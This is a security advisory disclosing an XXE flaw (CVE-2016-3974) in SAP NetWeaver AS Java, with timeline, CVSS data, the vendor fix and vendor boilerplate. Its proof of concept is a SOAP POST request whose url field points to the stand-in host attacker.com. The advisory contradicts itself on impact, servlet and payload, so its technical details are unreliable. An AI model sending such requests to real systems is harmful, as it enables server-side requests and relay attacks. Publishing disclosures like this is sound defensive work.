SAP NetWeaver AS JAVA 7.5 XXE Injection

`Application: SAP NetWeaver AS JAVA  
  
Versions Affected: SAP NetWeaver AS JAVA 7.1 - 7.5  
  
Vendor URL: http://SAP.com  
  
Bug: XXE  
  
Sent: 20.10.2015  
  
Reported: 21.10.2015  
  
Vendor response: 21.10.2015  
  
Date of Public Advisory: 08.03.2016  
  
Reference: SAP Security Note 2235994  
  
Author: Vahagn Vardanyan (ERPScan)  
  
  
  
Description  
  
  
1. ADVISORY INFORMATION  
  
Title: [ERPSCAN-16-013] SAP NetWeaver AS Java ctcprotocol servlet –  
XXE vulnerability  
  
Advisory ID: [ERPSCAN-16-013]  
  
Risk: Medium  
  
Advisory URL: https://erpscan.com/advisories/erpscan-16-013-sap-netweaver-7-4-ctcprotocol-servlet-xxe/  
  
Date published: 08.03.2016  
  
Vendors contacted: SAP  
  
  
2. VULNERABILITY INFORMATION  
  
Class: XXE  
  
Impact: denial of service  
  
Remotely Exploitable: Yes  
  
Locally Exploitable: No  
  
CVE-2016-3974  
  
  
CVSS Information  
  
CVSS Base Score v3: 6.4 / 10  
  
CVSS Base Vector:  
  
AV : Attack Vector (Related exploit range) Network (N)  
  
AC : Attack Complexity (Required attack complexity) High (H)  
  
PR : Privileges Required (Level of privileges needed to exploit) High (H)  
  
UI : User Interaction (Required user participation) None (N)  
  
S : Scope (Change in scope due to impact caused to components beyond  
the vulnerable component) Unchanged (U)  
  
C : Impact to Confidentiality High (H)  
  
I : Impact to Integrity High (H)  
  
A : Impact to Availability High (H)  
  
  
  
3. VULNERABILITY DESCRIPTION  
  
Authorized attacker can use a special request to read files from the  
server and then escalate his or her privileges.  
  
  
  
4. VULNERABLE PACKAGES  
  
SAP NetWeaver AS JAVA 7.1 - 7.5  
  
Other versions are probably affected too, but they were not checked.  
  
  
5. SOLUTIONS AND WORKAROUNDS  
  
To correct this vulnerability, install SAP Security Note 2235994  
  
  
  
6. AUTHOR  
  
Vahagn Vardanyan (ERPScan)  
  
  
7. TECHNICAL DESCRIPTION  
  
  
An XML external entity (XXE) vulnerability in the Configuration Wizard  
in SAP NetWeaver Java AS 7.4 allows remote attackers to cause a denial  
of service, conduct SMB Relay attacks, or access arbitrary files via a  
crafted XML request related to the ctcprotocol servlet.  
  
PoC  
  
  
POST /_tc~monitoring~webservice~web/ServerNodesWSService HTTP/1.1  
Content-Type: text/xml  
  
<SOAP-ENV:Envelope  
xmlns:SOAP-ENV="http://schemas.xmlsoap.org/soap/envelope/"  
xmlns:SOAP-ENC="http://schemas.xmlsoap.org/soap/encoding/"  
xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance"  
xmlns:xsd="http://www.w3.org/2001/XMLSchema">  
<SOAP-ENV:Body>  
<m:XXX xmlns:m="http://sap.com/monitoring/ws/sn/">  
<url>attacker.com</url>  
</m:XXX>  
</SOAP-ENV:Body>  
</SOAP-ENV:Envelope>  
  
  
  
  
8. REPORT TIMELINE  
  
Sent: 20.10.2015  
  
Reported: 21.10.2015  
  
Vendor response: 21.10.2015  
  
Date of Public Advisory: 08.03.2016  
  
  
  
  
9. REFERENCES  
  
https://erpscan.com/advisories/erpscan-16-013-sap-netweaver-7-4-ctcprotocol-servlet-xxe/  
  
  
10. ABOUT ERPScan Research  
  
The company’s expertise is based on the research subdivision of  
ERPScan, which is engaged in vulnerability research and analysis of  
critical enterprise applications. It has achieved multiple  
acknowledgments from the largest software vendors like SAP, Oracle,  
Microsoft, IBM, VMware, HP for discovering more than 400  
vulnerabilities in their solutions (200 of them just in SAP!).  
  
ERPScan researchers are proud to have exposed new types of  
vulnerabilities (TOP 10 Web Hacking Techniques 2012) and to be  
nominated for the best server-side vulnerability at BlackHat 2013.  
  
ERPScan experts have been invited to speak, present, and train at 60+  
prime international security conferences in 25+ countries across the  
continents. These include BlackHat, RSA, HITB, and private SAP  
trainings in several Fortune 2000 companies.  
  
ERPScan researchers lead the project EAS-SEC, which is focused on  
enterprise application security research and awareness. They have  
published 3 exhaustive annual award-winning surveys about SAP  
security.  
  
ERPScan experts have been interviewed by leading media resources and  
featured in specialized info-sec publications worldwide. These include  
Reuters, Yahoo, SC Magazine, The Register, CIO, PC World, DarkReading,  
Heise, and Chinabyte, to name a few.  
  
We have highly qualified experts in staff with experience in many  
different fields of security, from web applications and  
mobile/embedded to reverse engineering and ICS/SCADA systems,  
accumulating their experience to conduct the best SAP security  
research.  
  
  
  
11. ABOUT ERPScan  
  
ERPScan is the most respected and credible Business Application  
Security provider. Founded in 2010, the company operates globally and  
enables large Oil and Gas, Financial and Retail organizations to  
secure their mission-critical processes. Named as an ‘Emerging Vendor’  
in Security by CRN, listed among “TOP 100 SAP Solution providers” and  
distinguished by 30+ other awards, ERPScan is the leading SAP SE  
partner in discovering and resolving security vulnerabilities. ERPScan  
consultants work with SAP SE in Walldorf to assist in improving the  
security of their latest solutions.  
  
ERPScan’s primary mission is to close the gap between technical and  
business security, and provide solutions to evaluate and secure SAP  
and Oracle ERP systems and business-critical applications from both,  
cyber-attacks as well as internal fraud. Usually our clients are large  
enterprises, Fortune 2000 companies and managed service providers  
whose requirements are to actively monitor and manage security of vast  
SAP landscapes on a global scale.  
  
We ‘follow the sun’ and function in two hubs, located in the Palo Alto  
and Amsterdam to provide threat intelligence services, agile support  
and operate local offices and partner network spanning 20+ countries  
around the globe.  
  
  
  
Adress USA: 228 Hamilton Avenue, Fl. 3, Palo Alto, CA. 94301  
  
Phone: 650.798.5255  
  
Twitter: @erpscan  
  
Scoop-it: Business Application Security  
`